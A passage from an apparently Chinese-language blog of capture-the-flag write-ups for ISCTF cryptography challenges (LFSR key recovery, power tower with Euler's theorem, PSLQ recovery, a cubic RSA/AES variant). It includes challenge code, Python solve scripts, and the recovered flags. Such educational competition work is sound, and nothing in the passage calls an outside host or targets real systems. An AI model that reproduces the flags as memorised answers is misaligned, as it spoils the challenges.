1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1]\nciphertext_hex = '4b3be165a0a0edd67ca8f143884826725107fd42d6a6'\n\nn_eq = 256\nn_var = 128\n\nA = &#91;]\nb = outputState&#91;:n_eq]\n\nfor t in range(n_eq):\n    if t &lt; 128:\n        S_t = initState&#91;t:] + outputState&#91;:t]\n    else:\n        S_t = outputState&#91;t-128:t]\n    A.append(S_t)\n\nmask = gf2_solve(A, b)\n\nkey_bytes = bytes(int(''.join(str(bit) for bit in mask&#91;i*8:(i+1)*8]), 2) for i in range(16))\nciphertext_bytes = bytes.fromhex(ciphertext_hex)\nkeystream = (key_bytes * (len(ciphertext_bytes) \/\/ 16 + 1))&#91;:len(ciphertext_bytes)]\nplaintext_bytes = bytes(c ^ k for c, k in zip(ciphertext_bytes, keystream))\n\nprint(plaintext_bytes.decode())<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-97.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"826\" height=\"149\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-97.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1662\"  sizes=\"auto, (max-width: 826px) 100vw, 826px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{lf5R_jUst_So_s0}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Power tower<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-98.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"659\" height=\"655\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-98.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1663\"  sizes=\"auto, (max-width: 659px) 100vw, 659px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u9898\u76ee\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from Crypto.Util.number import *\nimport random\nfrom numpy import number\n\nm = b'ISCTF{****************}'\nflag = bytes_to_long(m)\nn = getPrime(256)\nt = getPrime(63)\nl = pow(2,pow(2,t),n)\nc = flag ^ l\nprint(t)\nprint(n)\nprint(c)\n\n'''\nt = 6039738711082505929\nn = 107502945843251244337535082460697583639357473016005252008262865481138355040617\nc = 114092817888610184061306568177474033648737936326143099257250807529088213565247\n'''<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u52a0\u5bc6\u8fc7\u7a0b\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u5c06flag\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3a\u5927\u6574\u6570\uff1a<code>flag = bytes_to_long(m)<\/code><\/li>\n\n\n\n<li>\u751f\u6210256\u4f4d\u8d28\u6570n\u548c63\u4f4d\u8d28\u6570t<\/li>\n\n\n\n<li>\u8ba1\u7b97\u5e42\u5854\u503c\uff1a<code>l = pow(2, pow(2, t), n)<\/code>\uff0c\u5373\u8ba1\u7b972^(2^t) mod n<\/li>\n\n\n\n<li>\u901a\u8fc7XOR\u64cd\u4f5c\u52a0\u5bc6flag\uff1a<code>c = flag ^ l<\/code><\/li>\n\n\n\n<li>\u8f93\u51fa\u53c2\u6570t\u3001n\u548c\u5bc6\u6587c<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u89e3\u9898\u6b65\u9aa4\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8981\u89e3\u5bc6\uff0c\u9700\u8981\u6062\u590dl\u503c\uff0c\u7136\u540e\u8ba1\u7b97<code>flag = c ^ l<\/code>\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8ba1\u7b97l\u503c\u9700\u8981\u89e3\u51b32^(2^t) mod n\u8fd9\u4e2a\u5de8\u5927\u6307\u6570\u95ee\u9898\uff0c\u8fd9\u91cc\u9700\u8981\u5e94\u7528<strong>\u6269\u5c55\u6b27\u62c9\u5b9a\u7406<\/strong>\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bf9\u4e8ea\u548cn\u4e92\u8d28\u7684\u60c5\u51b5\uff0c\u5f53b \u2265 \u03c6(n)\u65f6\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>a^b mod n = a^(b mod \u03c6(n) + \u03c6(n)) mod n<\/code><\/pre>\n\n\n\n<ol class=\"wp-block-list\">\n<li><br><p><strong>\u8ba1\u7b97\u03c6(n)<\/strong>\uff1a \u7531\u4e8en = p\u2081 \u00d7 p\u2082 \u00d7 p\u2083\uff0c\u5176\u4e2d\u5404p\u662f\u8d28\u6570 \u03c6(n) = (p\u2081-1) \u00d7 (p\u2082-1) \u00d7 (p\u2083-1)<\/p><br><\/li>\n\n\n\n<li><br><p><strong>\u5e94\u7528\u6269\u5c55\u6b27\u62c9\u5b9a\u7406<\/strong>\uff1a l = 2^(2^t) mod n = 2^((2^t mod \u03c6(n)) + \u03c6(n)) mod n \uff08\u56e0\u4e3a2^t\u8fdc\u5927\u4e8e\u03c6(n)\uff09<\/p><br><\/li>\n\n\n\n<li><br><p><strong>\u6062\u590dflag<\/strong>\uff1a flag = c XOR l<\/p><br><\/li>\n\n\n\n<li><br><p><strong>\u8d28\u56e0\u6570\u5206\u89e3 n<\/strong>\uff1a<\/p><br><pre><code>n = 107502945843251244337535082460697583639357473016005252008262865481138355040617<br>= 127 \u00d7 841705194007 \u00d7 1005672644717572752052474808610481144121914956393489966622615553<\/code><\/pre><br><\/li>\n\n\n\n<li><br><p><strong>\u8ba1\u7b97 \u03c6(n)<\/strong>\uff08\u6b27\u62c9\u51fd\u6570\uff09\uff1a<\/p><br><pre><code>\u03c6(n) = (127-1) \u00d7 (841705194007-1) \u00d7 (1005672644717572752052474808610481144121914956393489966622615553-1)<br>    = 106656465954594992227312203077713006587965800635814353306369389060697410445312<\/code><\/pre><br><\/li>\n\n\n\n<li><br><p><strong>\u5e94\u7528\u6269\u5c55\u6b27\u62c9\u5b9a\u7406<\/strong>\uff1a \u7531\u4e8e 2^t \u8fdc\u5927\u4e8e \u03c6(n)\uff0c\u4e14 gcd(2, n) = 1\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\uff1a<\/p><br><pre><code>2^(2^t) mod n = 2^((2^t mod \u03c6(n)) + \u03c6(n)) mod n<\/code><\/pre><br><\/li>\n\n\n\n<li><p><strong>\u8ba1\u7b97\u5173\u952e\u503c<\/strong>\uff1a<\/p>\n<ul class=\"wp-block-list\">\n<li><code>exp = 2^t mod \u03c6(n) = 63628789584090558595465598091196928076720283286383800204368188448772762091520<\/code><\/li>\n\n\n\n<li><code>l = 2^(exp + \u03c6(n)) mod n = 82062069866179877089267477826918688212074322751651681520625309711026709241410<\/code><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><p><strong>\u6062\u590d flag<\/strong>\uff1a<\/p>\n<ul class=\"wp-block-list\">\n<li><code>flag = c XOR l = 33165950942018378556776034296645277066869513684055746490680244406481376584061<\/code><\/li>\n\n\n\n<li>\u8f6c\u6362\u4e3a\u5b57\u8282\uff1a<code>b'ISCTF{Euler_1s_v3ry|useful!!!!!}'<\/code><\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">py3\u89e3\u5bc6\u811a\u672c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from Crypto.Util.number import long_to_bytes\nimport sympy\n\n# \u7ed9\u5b9a\u7684\u53c2\u6570\nt = 6039738711082505929\nn = 107502945843251244337535082460697583639357473016005252008262865481138355040617\nc = 114092817888610184061306568177474033648737936326143099257250807529088213565247\n\n# \u6b65\u9aa41\uff1a\u5bf9n\u8fdb\u884c\u8d28\u56e0\u6570\u5206\u89e3\n# \u6ce8\u610f\uff1a\u867d\u7136\u6e90\u7801\u4e2d\u4f7f\u7528\u4e86getPrime(256)\uff0c\u4f46\u5b9e\u9645n\u4e0d\u662f\u8d28\u6570\nfactors = sympy.factorint(n)\nprint(\"n\u7684\u8d28\u56e0\u6570\u5206\u89e3:\", factors)\n\n# \u6b65\u9aa42\uff1a\u8ba1\u7b97\u6b27\u62c9\u51fd\u6570\u03c6(n)\nphi_n = 1\nfor p, exp in factors.items():\n    phi_n *= (p-1) * p**(exp-1)\nprint(\"\u03c6(n) =\", phi_n)\n\n# \u6b65\u9aa43\uff1a\u5e94\u7528\u6269\u5c55\u6b27\u62c9\u5b9a\u7406\n# \u7531\u4e8e2^t\u8fdc\u5927\u4e8e\u03c6(n)\u4e14gcd(2,n)=1\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\uff1a\n# 2^(2^t) mod n = 2^((2^t mod \u03c6(n)) + \u03c6(n)) mod n\n\n# \u8ba1\u7b972^t mod \u03c6(n)\nexp_mod = pow(2, t, phi_n)\nprint(\"2^t mod \u03c6(n) =\", exp_mod)\n\n# \u8ba1\u7b97l = 2^(exp_mod + \u03c6(n)) mod n\nl = pow(2, exp_mod + phi_n, n)\nprint(\"l =\", l)\n\n# \u6b65\u9aa44\uff1a\u6062\u590dflag\nflag = c ^ l\nprint(\"flag(\u5341\u8fdb\u5236) =\", flag)\n\n# \u8f6c\u6362\u4e3a\u5b57\u8282\nflag_bytes = long_to_bytes(flag)\nprint(\"flag =\", flag_bytes.decode())<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-99-1024x189.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"189\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-99-1024x189.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1664\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{Euler_1s_v3ry|useful!!!!!}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">baby_math<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-100.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"574\" height=\"520\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-100.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1665\"  sizes=\"auto, (max-width: 574px) 100vw, 574px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u9898\u76ee\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from Crypto.Util.number import bytes_to_long\n\nprint(len(flag)) \nR = RealField(1000)\na,b = bytes_to_long(flag&#91;:len(flag)\/\/2]),bytes_to_long(flag&#91;len(flag)\/\/2:])\nx   = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100)\n\nenc = a*cos(x)+b*sin(x) \n\n#1.24839978408728580181183027675785982784764821592156892598136000363397267152291738689909414790691435938223032351375697399608345468567445269769342300325192248438038963977207296241971217955178443170598629648414706345216797043374408541203167719396818925953801387623884200901703606288664141375049626635852e52\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>flag \u88ab\u7b49\u5206\u4e3a\u4e24\u534a\uff0c\u5206\u522b\u8f6c\u4e3a\u6574\u6570 <code>a<\/code> \u548c <code>b<\/code><\/li>\n\n\n\n<li>\u5b9a\u4e49\u4e86\u4e00\u4e2a\u9ad8\u7cbe\u5ea6\u5b9e\u6570 <code>x<\/code>\uff081000\u4f4d\u7cbe\u5ea6\uff09<\/li>\n\n\n\n<li>\u7ed9\u51fa\u4e86 <code>enc = a*cos(x) + b*sin(x)<\/code> \u7684\u9ad8\u7cbe\u5ea6\u6d6e\u70b9\u503c<\/li>\n\n\n\n<li>\u76ee\u6807\uff1a\u4ece <code>enc<\/code>\u3001<code>x<\/code> \u4e2d\u6062\u590d\u51fa\u539f\u59cb <code>flag<\/code><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u662f\u4e00\u4e2a <strong>\u9ad8\u7cbe\u5ea6\u7ebf\u6027\u7ec4\u5408\u9690\u85cf\u6574\u6570\u6062\u590d\u95ee\u9898<\/strong>\uff0c\u5f62\u5f0f\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>y = a * C + b * S<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5176\u4e2d\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>C = cos(x)<\/code>, <code>S = sin(x)<\/code> \u662f\u5df2\u77e5\u5b9e\u6570<\/li>\n\n\n\n<li><code>a<\/code>, <code>b<\/code> \u662f\u672a\u77e5\u6574\u6570\uff08\u7531 flag \u4e24\u534a\u8f6c\u6210\uff09<\/li>\n\n\n\n<li><code>y = enc<\/code> \u662f\u5df2\u77e5\u9ad8\u7cbe\u5ea6\u5b9e\u6570<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u5173\u952e\u70b9\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>a<\/code> \u548c <code>b<\/code> \u6765\u81ea flag \u7684\u5b57\u8282\uff0c\u6240\u4ee5\u5b83\u4eec\u662f\u201c\u4e0d\u592a\u5927\u201d\u7684\u6574\u6570\uff08\u901a\u5e38 &lt; 2^240\uff09<\/li>\n\n\n\n<li><code>cos\u00b2(x) + sin\u00b2(x) = 1<\/code>\uff0c\u6240\u4ee5 <code>(C, S)<\/code> \u662f\u5355\u4f4d\u5411\u91cf<\/li>\n\n\n\n<li>\u8be5\u95ee\u9898\u53ef\u8f6c\u5316\u4e3a <strong>\u6574\u6570\u5173\u7cfb\u68c0\u6d4b<\/strong>\uff08Integer Relation Detection\uff09\u95ee\u9898<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u89e3\u9898\u601d\u8def<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c06\u95ee\u9898\u6539\u5199\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>a * C + b * S - enc = 0<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5373\u5bfb\u627e\u6574\u6570\u5411\u91cf <code>(a, b, -1)<\/code>\uff0c\u4f7f\u5f97\u5b83\u4e0e\u5b9e\u6570\u5411\u91cf <code>(C, S, enc)<\/code> \u7684\u70b9\u79ef\u8fd1\u4f3c\u4e3a 0\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u6b63\u662f <strong>PSLQ \u7b97\u6cd5<\/strong>\uff08Partial Sum of Least Squares\uff09\u7684\u5178\u578b\u5e94\u7528\u573a\u666f\uff0c\u7528\u4e8e\u68c0\u6d4b\u5b9e\u6570\u5411\u91cf\u95f4\u662f\u5426\u5b58\u5728\u201c\u5c0f\u6574\u6570\u7cfb\u6570\u201d\u7684\u7ebf\u6027\u5173\u7cfb\u3002mpmath.pslq<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u53ea\u9700\u8981\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u4f7f\u7528\u9ad8\u7cbe\u5ea6\u6570\u5b66\u5e93\uff08\u5982 <code>mpmath<\/code>\uff09\u8ba1\u7b97 <code>cos(x)<\/code> \u548c <code>sin(x)<\/code><\/li>\n\n\n\n<li>\u6784\u9020\u5b9e\u6570\u5411\u91cf <code>[cos(x), sin(x), enc]<\/code><\/li>\n\n\n\n<li>\u4f7f\u7528 <code>mpmath.pslq()<\/code> \u627e\u5230\u6574\u6570\u5173\u7cfb <code>[a, b, -1]<\/code><\/li>\n\n\n\n<li>\u5c06 <code>a<\/code>\u3001<code>b<\/code> \u8f6c\u56de bytes\uff0c\u62fc\u63a5\u5f97\u5230 flag<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">py3\u89e3\u9898\u811a\u672c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from mpmath import mp, cos, sin, pslq\nfrom Crypto.Util.number import long_to_bytes\nimport re\n\n# \u8bbe\u7f6e\u9ad8\u7cbe\u5ea6\uff08\u81f3\u5c11\u8981\u9ad8\u4e8e\u7ed9\u51fa\u7684 enc \u7cbe\u5ea6\uff09\nmp.dps = 200  # decimal places\n\n# \u5df2\u77e5\u6570\u636e\nx_str = \"0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100\"\n\nenc_str = \"1.24839978408728580181183027675785982784764821592156892598136000363397267152291738689909414790691435938223032351375697399608345468567445269769342300325192248438038963977207296241971217955178443170598629648414706345216797043374408541203167719396818925953801387623884200901703606288664141375049626635852e52\"\n\n# \u8f6c\u4e3a mpmath \u9ad8\u7cbe\u5ea6\u6570\nx = mp.mpf(x_str)\nenc = mp.mpf(enc_str)\n\n# \u8ba1\u7b97 cos(x) \u548c sin(x)\nC = cos(x)\nS = sin(x)\n\n# \u6574\u6570\u5173\u7cfb\u68c0\u6d4b\uff1a\u627e &#91;a, b, k] \u4f7f\u5f97 a*C + b*S + k*enc = 0\n# \u6211\u4eec\u5e0c\u671b k = -1\uff0c\u6240\u4ee5\u4f20\u5165 &#91;C, S, enc]\uff0c\u671f\u671b\u5f97\u5230 &#91;a, b, -1]\nrelation = pslq(&#91;C, S, enc], maxcoeff=10**80)\n\nif relation is None:\n    raise ValueError(\"PSLQ failed to find integer relation!\")\n\na, b, k = relation\nprint(f\"Found relation: a={a}, b={b}, k={k}\")\n\n# \u6b63\u5e38\u60c5\u51b5\u4e0b k \u5e94\u4e3a -1\uff0c\u6240\u4ee5\u8c03\u6574\u7b26\u53f7\nif k == -1:\n    pass\nelif k == 1:\n    a, b = -a, -b\nelse:\n    # \u5c1d\u8bd5\u5f52\u4e00\u5316\n    if abs(k) &gt; 1:\n        # \u5982\u679c k \u4e0d\u4e3a \u00b11\uff0c\u8bf4\u660e\u53ef\u80fd scaling \u95ee\u9898\uff0c\u4f46\u901a\u5e38\u4e0d\u4f1a\n        print(f\"Warning: k = {k}, trying to divide...\")\n        if a % k == 0 and b % k == 0:\n            a \/\/= k\n            b \/\/= k\n        else:\n            raise ValueError(\"Unexpected k in relation\")\n\n# \u8f6c\u56de bytes\ntry:\n    part1 = long_to_bytes(a)\n    part2 = long_to_bytes(b)\n    flag = part1 + part2\n    print(\"Flag:\", flag.decode())\nexcept Exception as e:\n    print(\"Decoding error:\", e)\n    print(\"a =\", a)\n    print(\"b =\", b)<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-101-1024x211.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"211\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-101-1024x211.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1666\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{164a3221-7306-4024-88c3-4ef557b86895}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th><strong>\u9ad8\u7cbe\u5ea6\u8ba1\u7b97<\/strong><\/th><th>\u4f7f\u7528 <code>mpmath<\/code> \u8bbe\u7f6e <code>mp.dps = 200<\/code> \u786e\u4fdd\u7cbe\u5ea6\u8db3\u591f<\/th><\/tr><\/thead><tbody><tr><td><strong>\u6574\u6570\u5173\u7cfb\u68c0\u6d4b<\/strong><\/td><td><code>mpmath.pslq<\/code> \u662f\u89e3\u51b3\u6b64\u7c7b\u7ebf\u6027\u7ec4\u5408\u9690\u85cf\u6574\u6570\u95ee\u9898\u7684\u5229\u5668<\/td><\/tr><tr><td><strong>flag \u91cd\u6784<\/strong><\/td><td>\u5229\u7528 <code>Crypto.Util.number.long_to_bytes<\/code> \u5c06\u6574\u6570\u8f6c\u56de\u5b57\u8282<\/td><\/tr><tr><td><strong>PSLQ \u539f\u7406<\/strong><\/td><td>\u627e\u5c0f\u6574\u6570\u7cfb\u6570\u4f7f\u5f97\u7ebf\u6027\u7ec4\u5408\u4e3a\u96f6\uff0c\u9002\u7528\u4e8e\u9ad8\u7cbe\u5ea6\u6d6e\u70b9\u5df2\u77e5\u60c5\u51b5<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\u5c0f\u84dd\u9ca8\u7684RSA\u5bc6\u6587<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u9898\u76ee\u6e90\u7801:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">output.txt<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>N = 121288600621198389662246479277632294800423697823363188896668775456771641807233781416525282234787873435904747571468452950479817935684848143651716343606633656969395065588423982440884464542428742861388200306417822228591316703916504170245990423925894477848679490979364923848426643149659758241239900845544537886777\n\nc = 3756824985347508967549776773725045773059311839370527149219720084008312247164501688241698562854942756369420003479117\n\na2_high = 9012778\n\nLOW_BITS = 16\n\na1 = 621315\n\na0 = 452775142\n\niv = bf38e64bb5c1b069a07b7d1d046a9010\n\nct = 8966006c4724faf53883b56a1a8a08ee17b1535e1657c16b3b129ee2d2e389744c943014eb774cd24a5d0f7ad140276fdec72eb985b6de67b8e4674b0bcdc4a5<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">task.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import json, secrets\nfrom Crypto.Util.number import getPrime, bytes_to_long\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad\n\ne = 3\nN = getPrime(512) * getPrime(512)\n\na2_high = a2 &gt;&gt; LOW_BITS\n\naes_key = secrets.token_bytes(16)\nm = bytes_to_long(aes_key)\n\nf = a2 * (m * m) + a1 * m + a0\n\nc = (pow(m, e) + f) % N\n\niv = secrets.token_bytes(16)\ncipher = AES.new(aes_key, AES.MODE_CBC, iv=iv)\nct = cipher.encrypt(pad(FLAG, 16))<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u9898\u76ee\u5206\u6790<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u662f\u4e00\u9053\u521b\u65b0\u7684RSA\u53d8\u79cd\u9898\u76ee\u3002\u4e0e\u4f20\u7edfRSA\u4e0d\u540c\uff0c\u52a0\u5bc6\u8fc7\u7a0b\u4f7f\u7528\u4e86\u4e09\u6b21\u591a\u9879\u5f0f\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>c = (m^3 + a2*m^2 + a1*m + a0) % N<\/code><\/li>\n\n\n\n<li>\u5176\u4e2d<code>e=3<\/code>\uff0c<code>m<\/code>\u662fAES\u5bc6\u94a5\uff08128\u4f4d\u6574\u6570\uff09<\/li>\n\n\n\n<li>\u68d8\u624b\u4e4b\u5904\u5728\u4e8e<code>a2<\/code>\u53ea\u6709\u9ad8\u4f4d\u5df2\u77e5(<code>a2_high<\/code>)\uff0c\u4f4e\u4f4d<code>LOW_BITS=16<\/code>\u4f4d\u672a\u77e5<\/li>\n\n\n\n<li>\u6700\u7ec8\u9700\u8981\u89e3\u5bc6AES\u52a0\u5bc6\u7684flag<\/li>\n<\/ul>\n\n\n\n<ol class=\"wp-block-list\">\n<li><p><strong>\u6a21N\u4e0d\u4f1a\u53d1\u751f\u6298\u8fd4<\/strong>:<\/p>\n<ul class=\"wp-block-list\">\n<li><code>m<\/code>\u662f128\u4f4d\uff0c<code>m^3<\/code>\u7ea6\u4e3a384\u4f4d<\/li>\n\n\n\n<li><code>N<\/code>\u662f1024\u4f4d\uff08\u4e24\u4e2a512\u4f4d\u7d20\u6570\u7684\u4e58\u79ef\uff09<\/li>\n\n\n\n<li>\u7531\u4e8e384 &lt; 1024\uff0c\u6781\u5927\u6982\u7387\u4e0d\u4f1a\u53d1\u751f\u6a21\u8fd0\u7b97\u7684\u6298\u8fd4<\/li>\n\n\n\n<li>\u6240\u4ee5\u6211\u4eec\u5b9e\u9645\u6709<code>c = m^3 + a2*m^2 + a1*m + a0<\/code><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><p><strong>\u66b4\u529b\u679a\u4e3e\u53ef\u884c<\/strong>:<\/p>\n<ul 